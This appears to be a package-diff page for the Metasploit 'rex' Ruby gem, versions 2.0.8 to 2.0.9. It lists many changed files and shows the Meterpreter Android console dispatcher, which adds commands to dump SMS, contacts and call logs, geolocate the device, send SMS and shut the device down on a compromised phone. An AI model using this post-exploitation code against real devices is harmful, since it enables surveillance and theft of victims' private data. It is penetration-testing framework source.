rex 2.0.8 → 2.0.9
Sign up to get free protection for your applications and to get access to all the features.
- checksums.yaml +4 -4
- data/lib/rex.rb +1 -0
- data/lib/rex/arch.rb +5 -0
- data/lib/rex/arch/x86.rb +19 -5
- data/lib/rex/arch/zarch.rb +17 -0
- data/lib/rex/compat.rb +5 -4
- data/lib/rex/constants.rb +3 -1
- data/lib/rex/encoder/alpha2/alpha_mixed.rb +70 -9
- data/lib/rex/encoder/alpha2/alpha_upper.rb +67 -8
- data/lib/rex/exploitation/cmdstager.rb +1 -0
- data/lib/rex/exploitation/cmdstager/certutil.rb +115 -0
- data/lib/rex/exploitation/cmdstager/echo.rb +6 -3
- data/lib/rex/exploitation/egghunter.rb +1 -1
- data/lib/rex/google/geolocation.rb +68 -0
- data/lib/rex/io/bidirectional_pipe.rb +0 -4
- data/lib/rex/java/serialization.rb +2 -0
- data/lib/rex/java/serialization/decode_error.rb +11 -0
- data/lib/rex/java/serialization/encode_error.rb +11 -0
- data/lib/rex/java/serialization/model.rb +2 -0
- data/lib/rex/java/serialization/model/annotation.rb +3 -3
- data/lib/rex/java/serialization/model/block_data.rb +3 -3
- data/lib/rex/java/serialization/model/block_data_long.rb +3 -3
- data/lib/rex/java/serialization/model/class_desc.rb +6 -6
- data/lib/rex/java/serialization/model/contents.rb +17 -10
- data/lib/rex/java/serialization/model/field.rb +12 -11
- data/lib/rex/java/serialization/model/long_utf.rb +3 -3
- data/lib/rex/java/serialization/model/new_array.rb +22 -23
- data/lib/rex/java/serialization/model/new_class.rb +57 -0
- data/lib/rex/java/serialization/model/new_class_desc.rb +15 -16
- data/lib/rex/java/serialization/model/new_enum.rb +5 -5
- data/lib/rex/java/serialization/model/new_object.rb +22 -17
- data/lib/rex/java/serialization/model/proxy_class_desc.rb +109 -0
- data/lib/rex/java/serialization/model/reference.rb +4 -4
- data/lib/rex/java/serialization/model/stream.rb +7 -7
- data/lib/rex/java/serialization/model/utf.rb +3 -3
- data/lib/rex/json_hash_file.rb +94 -0
- data/lib/rex/logging/log_sink.rb +1 -0
- data/lib/rex/logging/sinks/timestamp_flatfile.rb +21 -0
- data/lib/rex/parser/appscan_nokogiri.rb +13 -23
- data/lib/rex/parser/fs/ntfs.rb +10 -5
- data/lib/rex/parser/nmap_nokogiri.rb +3 -1
- data/lib/rex/parser/openvas_nokogiri.rb +70 -73
- data/lib/rex/parser/winscp.rb +108 -0
- data/lib/rex/parser/x509_certificate.rb +92 -0
- data/lib/rex/payloads.rb +0 -1
- data/lib/rex/payloads/meterpreter/config.rb +154 -0
- data/lib/rex/payloads/meterpreter/uri_checksum.rb +136 -0
- data/lib/rex/post/meterpreter.rb +1 -1
- data/lib/rex/post/meterpreter/client.rb +26 -3
- data/lib/rex/post/meterpreter/client_core.rb +387 -75
- data/lib/rex/post/meterpreter/extensions/android/android.rb +127 -37
- data/lib/rex/post/meterpreter/extensions/android/tlv.rb +46 -25
- data/lib/rex/post/meterpreter/extensions/extapi/extapi.rb +4 -0
- data/lib/rex/post/meterpreter/extensions/extapi/ntds/ntds.rb +39 -0
- data/lib/rex/post/meterpreter/extensions/extapi/pageant/pageant.rb +44 -0
- data/lib/rex/post/meterpreter/extensions/extapi/tlv.rb +9 -0
- data/lib/rex/post/meterpreter/extensions/kiwi/kiwi.rb +16 -1
- data/lib/rex/post/meterpreter/extensions/priv/priv.rb +1 -1
- data/lib/rex/post/meterpreter/extensions/python/python.rb +114 -0
- data/lib/rex/post/meterpreter/extensions/python/tlv.rb +21 -0
- data/lib/rex/post/meterpreter/extensions/stdapi/fs/dir.rb +17 -14
- data/lib/rex/post/meterpreter/extensions/stdapi/fs/file.rb +33 -12
- data/lib/rex/post/meterpreter/extensions/stdapi/fs/mount.rb +57 -0
- data/lib/rex/post/meterpreter/extensions/stdapi/railgun/def/def_kernel32.rb +3 -3
- data/lib/rex/post/meterpreter/extensions/stdapi/stdapi.rb +3 -1
- data/lib/rex/post/meterpreter/extensions/stdapi/sys/config.rb +2 -0
- data/lib/rex/post/meterpreter/extensions/stdapi/sys/process.rb +16 -3
- data/lib/rex/post/meterpreter/extensions/stdapi/sys/registry.rb +29 -6
- data/lib/rex/post/meterpreter/extensions/stdapi/sys/registry_subsystem/registry_key.rb +5 -1
- data/lib/rex/post/meterpreter/extensions/stdapi/tlv.rb +18 -6
- data/lib/rex/post/meterpreter/extensions/stdapi/ui.rb +2 -2
- data/lib/rex/post/meterpreter/extensions/stdapi/webcam/webcam.rb +34 -36
- data/lib/rex/post/meterpreter/packet.rb +29 -0
- data/lib/rex/post/meterpreter/packet_dispatcher.rb +20 -7
- data/lib/rex/post/meterpreter/ui/console.rb +1 -0
- data/lib/rex/post/meterpreter/ui/console/command_dispatcher/android.rb +230 -72
- data/lib/rex/post/meterpreter/ui/console/command_dispatcher/core.rb +544 -34
- data/lib/rex/post/meterpreter/ui/console/command_dispatcher/extapi/adsi.rb +188 -57
- data/lib/rex/post/meterpreter/ui/console/command_dispatcher/kiwi.rb +115 -93
- data/lib/rex/post/meterpreter/ui/console/command_dispatcher/lanattacks/dhcp.rb +1 -1
- data/lib/rex/post/meterpreter/ui/console/command_dispatcher/mimikatz.rb +1 -1
- data/lib/rex/post/meterpreter/ui/console/command_dispatcher/priv/elevate.rb +49 -15
- data/lib/rex/post/meterpreter/ui/console/command_dispatcher/priv/timestomp.rb +11 -2
- data/lib/rex/post/meterpreter/ui/console/command_dispatcher/python.rb +187 -0
- data/lib/rex/post/meterpreter/ui/console/command_dispatcher/stdapi/fs.rb +324 -133
- data/lib/rex/post/meterpreter/ui/console/command_dispatcher/stdapi/net.rb +52 -2
- data/lib/rex/post/meterpreter/ui/console/command_dispatcher/stdapi/sys.rb +68 -65
- data/lib/rex/post/meterpreter/ui/console/command_dispatcher/stdapi/ui.rb +9 -1
- data/lib/rex/post/meterpreter/ui/console/command_dispatcher/stdapi/webcam.rb +113 -118
- data/lib/rex/post/meterpreter/ui/console/interactive_channel.rb +3 -0
- data/lib/rex/powershell.rb +62 -0
- data/lib/rex/powershell/command.rb +359 -0
- data/lib/rex/{exploitation/powershell → powershell}/function.rb +0 -2
- data/lib/rex/{exploitation/powershell → powershell}/obfu.rb +0 -2
- data/lib/rex/{exploitation/powershell → powershell}/output.rb +11 -5
- data/lib/rex/{exploitation/powershell → powershell}/param.rb +0 -2
- data/lib/rex/powershell/parser.rb +182 -0
- data/lib/rex/powershell/payload.rb +78 -0
- data/lib/rex/{exploitation/powershell → powershell}/psh_methods.rb +16 -2
- data/lib/rex/{exploitation/powershell → powershell}/script.rb +2 -4
- data/lib/rex/proto/dcerpc/client.rb +6 -6
- data/lib/rex/proto/dcerpc/exceptions.rb +26 -0
- data/lib/rex/proto/http/client.rb +3 -3
- data/lib/rex/proto/http/client_request.rb +0 -5
- data/lib/rex/proto/http/response.rb +86 -0
- data/lib/rex/proto/ipmi/utils.rb +30 -26
- data/lib/rex/proto/kerberos/client.rb +1 -1
- data/lib/rex/proto/kerberos/model/kdc_request.rb +2 -2
- data/lib/rex/proto/rfb/client.rb +8 -3
- data/lib/rex/proto/rfb/constants.rb +1 -1
- data/lib/rex/proto/rmi.rb +2 -0
- data/lib/rex/proto/rmi/decode_error.rb +10 -0
- data/lib/rex/proto/rmi/exception.rb +10 -0
- data/lib/rex/proto/rmi/model.rb +5 -0
- data/lib/rex/proto/rmi/model/call.rb +4 -4
- data/lib/rex/proto/rmi/model/call_data.rb +137 -0
- data/lib/rex/proto/rmi/model/dgc_ack.rb +2 -2
- data/lib/rex/proto/rmi/model/element.rb +26 -11
- data/lib/rex/proto/rmi/model/output_header.rb +4 -4
- data/lib/rex/proto/rmi/model/ping.rb +2 -2
- data/lib/rex/proto/rmi/model/ping_ack.rb +2 -2
- data/lib/rex/proto/rmi/model/protocol_ack.rb +2 -2
- data/lib/rex/proto/rmi/model/return_data.rb +5 -5
- data/lib/rex/proto/rmi/model/return_value.rb +124 -0
- data/lib/rex/proto/rmi/model/unique_identifier.rb +77 -0
- data/lib/rex/proto/steam.rb +3 -0
- data/lib/rex/proto/steam/message.rb +125 -0
- data/lib/rex/proto/tftp/client.rb +35 -14
- data/lib/rex/random_identifier_generator.rb +2 -0
- data/lib/rex/ropbuilder.rb +1 -1
- data/lib/rex/socket/parameters.rb +9 -0
- data/lib/rex/socket/ssl_tcp.rb +25 -41
- data/lib/rex/socket/ssl_tcp_server.rb +10 -21
- data/lib/rex/sslscan/result.rb +20 -1
- data/lib/rex/text.rb +241 -55
- data/lib/rex/ui/output.rb +0 -3
- data/lib/rex/ui/subscriber.rb +0 -10
- data/lib/rex/ui/text/color.rb +9 -0
- data/lib/rex/ui/text/dispatcher_shell.rb +1 -0
- data/lib/rex/ui/text/output.rb +15 -4
- data/lib/rex/ui/text/output/file.rb +1 -0
- data/lib/rex/ui/text/output/stdio.rb +0 -16
- data/lib/rex/ui/text/shell.rb +3 -0
- data/lib/rex/ui/text/table.rb +85 -19
- data/lib/rex/user_agent.rb +118 -0
- data/rex.gemspec +2 -2
- metadata +41 -14
- data/lib/rex/exploitation/powershell.rb +0 -62
- data/lib/rex/exploitation/powershell/parser.rb +0 -183
- data/lib/rex/payloads/meterpreter.rb +0 -2
- data/lib/rex/payloads/meterpreter/patch.rb +0 -136
@@ -1,17 +1,17 @@
|
|
1
1
|
# -*- coding: binary -*-
|
2
2
|
require 'rex/post/meterpreter'
|
3
3
|
require 'msf/core/auxiliary/report'
|
4
|
+
require 'rex/google/geolocation'
|
5
|
+
require 'date'
|
4
6
|
|
5
7
|
module Rex
|
6
8
|
module Post
|
7
9
|
module Meterpreter
|
8
10
|
module Ui
|
9
|
-
|
10
11
|
###
|
11
12
|
# Android extension - set of commands to be executed on android devices.
|
12
13
|
# extension by Anwar Mohamed (@anwarelmakrahy)
|
13
14
|
###
|
14
|
-
|
15
15
|
class Console::CommandDispatcher::Android
|
16
16
|
include Console::CommandDispatcher
|
17
17
|
include Msf::Auxiliary::Report
|
@@ -26,33 +26,111 @@ class Console::CommandDispatcher::Android
|
|
26
26
|
'geolocate' => 'Get current lat-long using geolocation',
|
27
27
|
'dump_calllog' => 'Get call log',
|
28
28
|
'check_root' => 'Check if device is rooted',
|
29
|
-
'device_shutdown' => 'Shutdown device'
|
29
|
+
'device_shutdown' => 'Shutdown device',
|
30
|
+
'send_sms' => 'Sends SMS from target session',
|
31
|
+
'wlan_geolocate' => 'Get current lat-long using WLAN information',
|
32
|
+
'interval_collect' => 'Manage interval collection capabilities'
|
30
33
|
}
|
31
34
|
|
32
35
|
reqs = {
|
33
|
-
'dump_sms'
|
34
|
-
'dump_contacts'
|
35
|
-
'geolocate'
|
36
|
-
'dump_calllog'
|
37
|
-
'check_root'
|
38
|
-
'device_shutdown'
|
36
|
+
'dump_sms' => ['dump_sms'],
|
37
|
+
'dump_contacts' => ['dump_contacts'],
|
38
|
+
'geolocate' => ['geolocate'],
|
39
|
+
'dump_calllog' => ['dump_calllog'],
|
40
|
+
'check_root' => ['check_root'],
|
41
|
+
'device_shutdown' => ['device_shutdown'],
|
42
|
+
'send_sms' => ['send_sms'],
|
43
|
+
'wlan_geolocate' => ['wlan_geolocate'],
|
44
|
+
'interval_collect' => ['interval_collect']
|
39
45
|
}
|
40
46
|
|
41
47
|
# Ensure any requirements of the command are met
|
42
|
-
all.delete_if do |cmd,
|
43
|
-
reqs[cmd].any? { |req|
|
48
|
+
all.delete_if do |cmd, _desc|
|
49
|
+
reqs[cmd].any? { |req| !client.commands.include?(req) }
|
44
50
|
end
|
45
51
|
end
|
46
52
|
|
47
|
-
def
|
53
|
+
def interval_collect_usage
|
54
|
+
print_line('Usage: interval_collect <parameters>')
|
55
|
+
print_line
|
56
|
+
print_line('Specifies an action to perform on a collector type.')
|
57
|
+
print_line
|
58
|
+
print_line(@@interval_collect_opts.usage)
|
59
|
+
end
|
60
|
+
|
61
|
+
def cmd_interval_collect(*args)
|
62
|
+
@@interval_collect_opts ||= Rex::Parser::Arguments.new(
|
63
|
+
'-h' => [false, 'Help Banner'],
|
64
|
+
'-a' => [true, "Action (required, one of: #{client.android.collect_actions.join(', ')})"],
|
65
|
+
'-c' => [true, "Collector type (required, one of: #{client.android.collect_types.join(', ')})"],
|
66
|
+
'-t' => [true, 'Collect poll timeout period in seconds (default: 30)']
|
67
|
+
)
|
68
|
+
|
69
|
+
opts = {
|
70
|
+
action: nil,
|
71
|
+
type: nil,
|
72
|
+
timeout: 30
|
73
|
+
}
|
74
|
+
|
75
|
+
@@interval_collect_opts.parse(args) do |opt, idx, val|
|
76
|
+
case opt
|
77
|
+
when '-a'
|
78
|
+
opts[:action] = val.downcase
|
79
|
+
when '-c'
|
80
|
+
opts[:type] = val.downcase
|
81
|
+
when '-t'
|
82
|
+
opts[:timeout] = val.to_i
|
83
|
+
opts[:timeout] = 30 if opts[:timeout] <= 0
|
84
|
+
end
|
85
|
+
end
|
86
|
+
|
87
|
+
unless client.android.collect_actions.include?(opts[:action])
|
88
|
+
interval_collect_usage
|
89
|
+
return
|
90
|
+
end
|
91
|
+
|
92
|
+
type = args.shift.downcase
|
93
|
+
|
94
|
+
unless client.android.collect_types.include?(opts[:type])
|
95
|
+
interval_collect_usage
|
96
|
+
return
|
97
|
+
end
|
98
|
+
|
99
|
+
result = client.android.interval_collect(opts)
|
100
|
+
if result[:headers].length > 0 && result[:entries].length > 0
|
101
|
+
header = "Captured #{opts[:type]} data"
|
102
|
+
|
103
|
+
if result[:timestamp]
|
104
|
+
time = Time.at(result[:timestamp]).to_datetime
|
105
|
+
header << " at #{time.strftime('%Y-%m-%d %H:%M:%S')}"
|
106
|
+
end
|
107
|
+
|
108
|
+
table = Rex::Ui::Text::Table.new(
|
109
|
+
'Header' => header,
|
110
|
+
'SortIndex' => 0,
|
111
|
+
'Columns' => result[:headers],
|
112
|
+
'Indent' => 0
|
113
|
+
)
|
114
|
+
|
115
|
+
result[:entries].each do |e|
|
116
|
+
table << e
|
117
|
+
end
|
118
|
+
|
119
|
+
print_line
|
120
|
+
print_line(table.to_s)
|
121
|
+
else
|
122
|
+
print_good('Interval action completed successfully')
|
123
|
+
end
|
124
|
+
end
|
48
125
|
|
126
|
+
def cmd_device_shutdown(*args)
|
49
127
|
seconds = 0
|
50
128
|
device_shutdown_opts = Rex::Parser::Arguments.new(
|
51
129
|
'-h' => [ false, 'Help Banner' ],
|
52
130
|
'-t' => [ false, 'Shutdown after n seconds']
|
53
131
|
)
|
54
132
|
|
55
|
-
device_shutdown_opts.parse(args)
|
133
|
+
device_shutdown_opts.parse(args) do |opt, _idx, val|
|
56
134
|
case opt
|
57
135
|
when '-h'
|
58
136
|
print_line('Usage: device_shutdown [options]')
|
@@ -62,26 +140,25 @@ class Console::CommandDispatcher::Android
|
|
62
140
|
when '-t'
|
63
141
|
seconds = val.to_i
|
64
142
|
end
|
65
|
-
|
143
|
+
end
|
66
144
|
|
67
145
|
res = client.android.device_shutdown(seconds)
|
68
146
|
|
69
147
|
if res
|
70
|
-
print_status("Device will shutdown #{seconds > 0 ?('after ' + seconds + ' seconds'):'now'}")
|
148
|
+
print_status("Device will shutdown #{seconds > 0 ? ('after ' + seconds + ' seconds') : 'now'}")
|
71
149
|
else
|
72
150
|
print_error('Device shutdown failed')
|
73
151
|
end
|
74
152
|
end
|
75
|
-
|
76
|
-
def cmd_dump_sms(*args)
|
77
153
|
|
154
|
+
def cmd_dump_sms(*args)
|
78
155
|
path = "sms_dump_#{Time.new.strftime('%Y%m%d%H%M%S')}.txt"
|
79
156
|
dump_sms_opts = Rex::Parser::Arguments.new(
|
80
|
-
|
81
|
-
|
157
|
+
'-h' => [ false, 'Help Banner' ],
|
158
|
+
'-o' => [ false, 'Output path for sms list']
|
82
159
|
)
|
83
160
|
|
84
|
-
dump_sms_opts.parse(args)
|
161
|
+
dump_sms_opts.parse(args) do |opt, _idx, val|
|
85
162
|
case opt
|
86
163
|
when '-h'
|
87
164
|
print_line('Usage: dump_sms [options]')
|
@@ -91,19 +168,18 @@ class Console::CommandDispatcher::Android
|
|
91
168
|
when '-o'
|
92
169
|
path = val
|
93
170
|
end
|
94
|
-
|
171
|
+
end
|
95
172
|
|
96
|
-
|
97
|
-
smsList = client.android.dump_sms
|
173
|
+
sms_list = client.android.dump_sms
|
98
174
|
|
99
|
-
if
|
100
|
-
print_status("Fetching #{
|
175
|
+
if sms_list.count > 0
|
176
|
+
print_status("Fetching #{sms_list.count} sms #{sms_list.count == 1 ? 'message' : 'messages'}")
|
101
177
|
begin
|
102
178
|
info = client.sys.config.sysinfo
|
103
179
|
|
104
180
|
data = ""
|
105
181
|
data << "\n=====================\n"
|
106
|
-
data << "[+]
|
182
|
+
data << "[+] SMS messages dump\n"
|
107
183
|
data << "=====================\n\n"
|
108
184
|
|
109
185
|
time = Time.new
|
@@ -112,8 +188,7 @@ class Console::CommandDispatcher::Android
|
|
112
188
|
data << "Remote IP: #{client.sock.peerhost}\n"
|
113
189
|
data << "Remote Port: #{client.sock.peerport}\n\n"
|
114
190
|
|
115
|
-
|
116
|
-
|
191
|
+
sms_list.each_with_index do |a, index|
|
117
192
|
data << "##{index.to_i + 1}\n"
|
118
193
|
|
119
194
|
type = 'Unknown'
|
@@ -147,14 +222,14 @@ class Console::CommandDispatcher::Android
|
|
147
222
|
data << "Address\t: #{a['address']}\n"
|
148
223
|
data << "Status\t: #{status}\n"
|
149
224
|
data << "Message\t: #{a['body']}\n\n"
|
150
|
-
|
225
|
+
end
|
151
226
|
|
152
227
|
::File.write(path, data)
|
153
|
-
print_status("
|
228
|
+
print_status("SMS #{sms_list.count == 1 ? 'message' : 'messages'} saved to: #{path}")
|
154
229
|
|
155
230
|
return true
|
156
231
|
rescue
|
157
|
-
print_error("Error getting messages: #{
|
232
|
+
print_error("Error getting messages: #{$ERROR_INFO}")
|
158
233
|
return false
|
159
234
|
end
|
160
235
|
else
|
@@ -163,18 +238,15 @@ class Console::CommandDispatcher::Android
|
|
163
238
|
end
|
164
239
|
end
|
165
240
|
|
166
|
-
|
167
241
|
def cmd_dump_contacts(*args)
|
168
|
-
|
169
242
|
path = "contacts_dump_#{Time.new.strftime('%Y%m%d%H%M%S')}.txt"
|
170
|
-
dump_contacts_opts = Rex::Parser::Arguments.new(
|
171
243
|
|
244
|
+
dump_contacts_opts = Rex::Parser::Arguments.new(
|
172
245
|
'-h' => [ false, 'Help Banner' ],
|
173
246
|
'-o' => [ false, 'Output path for contacts list']
|
174
|
-
|
175
247
|
)
|
176
248
|
|
177
|
-
dump_contacts_opts.parse(args)
|
249
|
+
dump_contacts_opts.parse(args) do |opt, _idx, val|
|
178
250
|
case opt
|
179
251
|
when '-h'
|
180
252
|
print_line('Usage: dump_contacts [options]')
|
@@ -184,13 +256,12 @@ class Console::CommandDispatcher::Android
|
|
184
256
|
when '-o'
|
185
257
|
path = val
|
186
258
|
end
|
187
|
-
|
259
|
+
end
|
188
260
|
|
189
|
-
|
190
|
-
contactList = client.android.dump_contacts
|
261
|
+
contact_list = client.android.dump_contacts
|
191
262
|
|
192
|
-
if
|
193
|
-
print_status("Fetching #{
|
263
|
+
if contact_list.count > 0
|
264
|
+
print_status("Fetching #{contact_list.count} #{contact_list.count == 1 ? 'contact' : 'contacts'} into list")
|
194
265
|
begin
|
195
266
|
info = client.sys.config.sysinfo
|
196
267
|
|
@@ -205,32 +276,28 @@ class Console::CommandDispatcher::Android
|
|
205
276
|
data << "Remote IP: #{client.sock.peerhost}\n"
|
206
277
|
data << "Remote Port: #{client.sock.peerport}\n\n"
|
207
278
|
|
208
|
-
|
279
|
+
contact_list.each_with_index do |c, index|
|
209
280
|
|
210
281
|
data << "##{index.to_i + 1}\n"
|
211
282
|
data << "Name\t: #{c['name']}\n"
|
212
283
|
|
213
|
-
|
214
|
-
|
215
|
-
data << "Number\t: #{n}\n"
|
216
|
-
}
|
284
|
+
c['number'].each do |n|
|
285
|
+
data << "Number\t: #{n}\n"
|
217
286
|
end
|
218
287
|
|
219
|
-
|
220
|
-
|
221
|
-
data << "Email\t: #{n}\n"
|
222
|
-
}
|
288
|
+
c['email'].each do |n|
|
289
|
+
data << "Email\t: #{n}\n"
|
223
290
|
end
|
224
291
|
|
225
292
|
data << "\n"
|
226
|
-
|
227
|
-
|
293
|
+
end
|
294
|
+
|
228
295
|
::File.write(path, data)
|
229
296
|
print_status("Contacts list saved to: #{path}")
|
230
297
|
|
231
298
|
return true
|
232
299
|
rescue
|
233
|
-
print_error("Error getting contacts list: #{
|
300
|
+
print_error("Error getting contacts list: #{$ERROR_INFO}")
|
234
301
|
return false
|
235
302
|
end
|
236
303
|
else
|
@@ -243,13 +310,11 @@ class Console::CommandDispatcher::Android
|
|
243
310
|
|
244
311
|
generate_map = false
|
245
312
|
geolocate_opts = Rex::Parser::Arguments.new(
|
246
|
-
|
247
313
|
'-h' => [ false, 'Help Banner' ],
|
248
314
|
'-g' => [ false, 'Generate map using google-maps']
|
249
|
-
|
250
315
|
)
|
251
316
|
|
252
|
-
geolocate_opts.parse(args)
|
317
|
+
geolocate_opts.parse(args) do |opt, _idx, _val|
|
253
318
|
case opt
|
254
319
|
when '-h'
|
255
320
|
print_line('Usage: geolocate [options]')
|
@@ -259,7 +324,7 @@ class Console::CommandDispatcher::Android
|
|
259
324
|
when '-g'
|
260
325
|
generate_map = true
|
261
326
|
end
|
262
|
-
|
327
|
+
end
|
263
328
|
|
264
329
|
geo = client.android.geolocate
|
265
330
|
|
@@ -278,7 +343,6 @@ class Console::CommandDispatcher::Android
|
|
278
343
|
end
|
279
344
|
|
280
345
|
def cmd_dump_calllog(*args)
|
281
|
-
|
282
346
|
path = "calllog_dump_#{Time.new.strftime('%Y%m%d%H%M%S')}.txt"
|
283
347
|
dump_calllog_opts = Rex::Parser::Arguments.new(
|
284
348
|
|
@@ -287,7 +351,7 @@ class Console::CommandDispatcher::Android
|
|
287
351
|
|
288
352
|
)
|
289
353
|
|
290
|
-
dump_calllog_opts.parse(args)
|
354
|
+
dump_calllog_opts.parse(args) do |opt, _idx, val|
|
291
355
|
case opt
|
292
356
|
when '-h'
|
293
357
|
print_line('Usage: dump_calllog [options]')
|
@@ -297,12 +361,12 @@ class Console::CommandDispatcher::Android
|
|
297
361
|
when '-o'
|
298
362
|
path = val
|
299
363
|
end
|
300
|
-
|
364
|
+
end
|
301
365
|
|
302
366
|
log = client.android.dump_calllog
|
303
367
|
|
304
368
|
if log.count > 0
|
305
|
-
print_status("Fetching #{log.count} #{log.count == 1? 'entry': 'entries'}")
|
369
|
+
print_status("Fetching #{log.count} #{log.count == 1 ? 'entry' : 'entries'}")
|
306
370
|
begin
|
307
371
|
info = client.sys.config.sysinfo
|
308
372
|
|
@@ -317,23 +381,21 @@ class Console::CommandDispatcher::Android
|
|
317
381
|
data << "Remote IP: #{client.sock.peerhost}\n"
|
318
382
|
data << "Remote Port: #{client.sock.peerport}\n\n"
|
319
383
|
|
320
|
-
log.each_with_index
|
321
|
-
|
384
|
+
log.each_with_index do |a, index|
|
322
385
|
data << "##{index.to_i + 1}\n"
|
323
|
-
|
324
386
|
data << "Number\t: #{a['number']}\n"
|
325
387
|
data << "Name\t: #{a['name']}\n"
|
326
388
|
data << "Date\t: #{a['date']}\n"
|
327
389
|
data << "Type\t: #{a['type']}\n"
|
328
390
|
data << "Duration: #{a['duration']}\n\n"
|
329
|
-
|
391
|
+
end
|
330
392
|
|
331
393
|
::File.write(path, data)
|
332
394
|
print_status("Call log saved to #{path}")
|
333
395
|
|
334
396
|
return true
|
335
397
|
rescue
|
336
|
-
print_error("Error getting call log: #{
|
398
|
+
print_error("Error getting call log: #{$ERROR_INFO}")
|
337
399
|
return false
|
338
400
|
end
|
339
401
|
else
|
@@ -342,14 +404,13 @@ class Console::CommandDispatcher::Android
|
|
342
404
|
end
|
343
405
|
end
|
344
406
|
|
345
|
-
|
346
407
|
def cmd_check_root(*args)
|
347
408
|
|
348
409
|
check_root_opts = Rex::Parser::Arguments.new(
|
349
410
|
'-h' => [ false, 'Help Banner' ]
|
350
411
|
)
|
351
412
|
|
352
|
-
check_root_opts.parse(args)
|
413
|
+
check_root_opts.parse(args) do |opt, _idx, _val|
|
353
414
|
case opt
|
354
415
|
when '-h'
|
355
416
|
print_line('Usage: check_root [options]')
|
@@ -357,26 +418,123 @@ class Console::CommandDispatcher::Android
|
|
357
418
|
print_line(check_root_opts.usage)
|
358
419
|
return
|
359
420
|
end
|
360
|
-
|
421
|
+
end
|
361
422
|
|
362
423
|
is_rooted = client.android.check_root
|
363
424
|
|
364
425
|
if is_rooted
|
365
426
|
print_good('Device is rooted')
|
366
|
-
|
427
|
+
else
|
367
428
|
print_status('Device is not rooted')
|
368
429
|
end
|
369
430
|
end
|
370
431
|
|
432
|
+
def cmd_send_sms(*args)
|
433
|
+
send_sms_opts = Rex::Parser::Arguments.new(
|
434
|
+
'-h' => [ false, 'Help Banner' ],
|
435
|
+
'-d' => [ true, 'Destination number' ],
|
436
|
+
'-t' => [ true, 'SMS body text' ],
|
437
|
+
'-dr' => [ false, 'Wait for delivery report' ]
|
438
|
+
)
|
439
|
+
|
440
|
+
dest = ''
|
441
|
+
body = ''
|
442
|
+
dr = false
|
443
|
+
|
444
|
+
send_sms_opts.parse(args) do |opt, _idx, val|
|
445
|
+
case opt
|
446
|
+
when '-h'
|
447
|
+
print_line('Usage: send_sms -d <number> -t <sms body>')
|
448
|
+
print_line('Sends SMS messages to specified number.')
|
449
|
+
print_line(send_sms_opts.usage)
|
450
|
+
return
|
451
|
+
when '-d'
|
452
|
+
dest = val
|
453
|
+
when '-t'
|
454
|
+
body = val
|
455
|
+
when '-dr'
|
456
|
+
dr = true
|
457
|
+
end
|
458
|
+
end
|
459
|
+
|
460
|
+
if dest.blank? || body.blank?
|
461
|
+
print_error("You must enter both a destination address -d and the SMS text body -t")
|
462
|
+
print_error('e.g. send_sms -d +351961234567 -t "GREETINGS PROFESSOR FALKEN."')
|
463
|
+
print_line(send_sms_opts.usage)
|
464
|
+
return
|
465
|
+
end
|
466
|
+
|
467
|
+
sent = client.android.send_sms(dest, body, dr)
|
468
|
+
if dr
|
469
|
+
if sent[0] == "Transmission successful"
|
470
|
+
print_good("SMS sent - #{sent[0]}")
|
471
|
+
else
|
472
|
+
print_error("SMS send failed - #{sent[0]}")
|
473
|
+
end
|
474
|
+
if sent[1] == "Transmission successful"
|
475
|
+
print_good("SMS delivered - #{sent[1]}")
|
476
|
+
else
|
477
|
+
print_error("SMS delivery failed - #{sent[1]}")
|
478
|
+
end
|
479
|
+
else
|
480
|
+
if sent == "Transmission successful"
|
481
|
+
print_good("SMS sent - #{sent}")
|
482
|
+
else
|
483
|
+
print_error("SMS send failed - #{sent}")
|
484
|
+
end
|
485
|
+
end
|
486
|
+
end
|
487
|
+
|
488
|
+
def cmd_wlan_geolocate(*args)
|
489
|
+
wlan_geolocate_opts = Rex::Parser::Arguments.new(
|
490
|
+
'-h' => [ false, 'Help Banner' ]
|
491
|
+
)
|
492
|
+
|
493
|
+
wlan_geolocate_opts.parse(args) do |opt, _idx, _val|
|
494
|
+
case opt
|
495
|
+
when '-h'
|
496
|
+
print_line('Usage: wlan_geolocate')
|
497
|
+
print_line('Tries to get device geolocation from WLAN information and Google\'s API')
|
498
|
+
print_line(wlan_geolocate_opts.usage)
|
499
|
+
return
|
500
|
+
end
|
501
|
+
end
|
502
|
+
|
503
|
+
log = client.android.wlan_geolocate
|
504
|
+
wlan_list = []
|
505
|
+
log.each do |x|
|
506
|
+
mac = x['bssid']
|
507
|
+
ssid = x['ssid']
|
508
|
+
ss = x['level']
|
509
|
+
wlan_list << [mac, ssid, ss.to_s]
|
510
|
+
end
|
511
|
+
|
512
|
+
if wlan_list.blank?
|
513
|
+
print_error("Unable to enumerate wireless networks from the target. Wireless may not be present or enabled.")
|
514
|
+
return
|
515
|
+
end
|
516
|
+
g = Rex::Google::Geolocation.new
|
517
|
+
|
518
|
+
wlan_list.each do |wlan|
|
519
|
+
g.add_wlan(*wlan)
|
520
|
+
end
|
521
|
+
begin
|
522
|
+
g.fetch!
|
523
|
+
rescue RuntimeError => e
|
524
|
+
print_error("Error: #{e}")
|
525
|
+
else
|
526
|
+
print_status(g.to_s)
|
527
|
+
print_status("Google Maps URL: #{g.google_maps_url}")
|
528
|
+
end
|
529
|
+
end
|
530
|
+
|
371
531
|
#
|
372
532
|
# Name for this dispatcher
|
373
533
|
#
|
374
534
|
def name
|
375
535
|
'Android'
|
376
536
|
end
|
377
|
-
|
378
537
|
end
|
379
|
-
|
380
538
|
end
|
381
539
|
end
|
382
540
|
end
|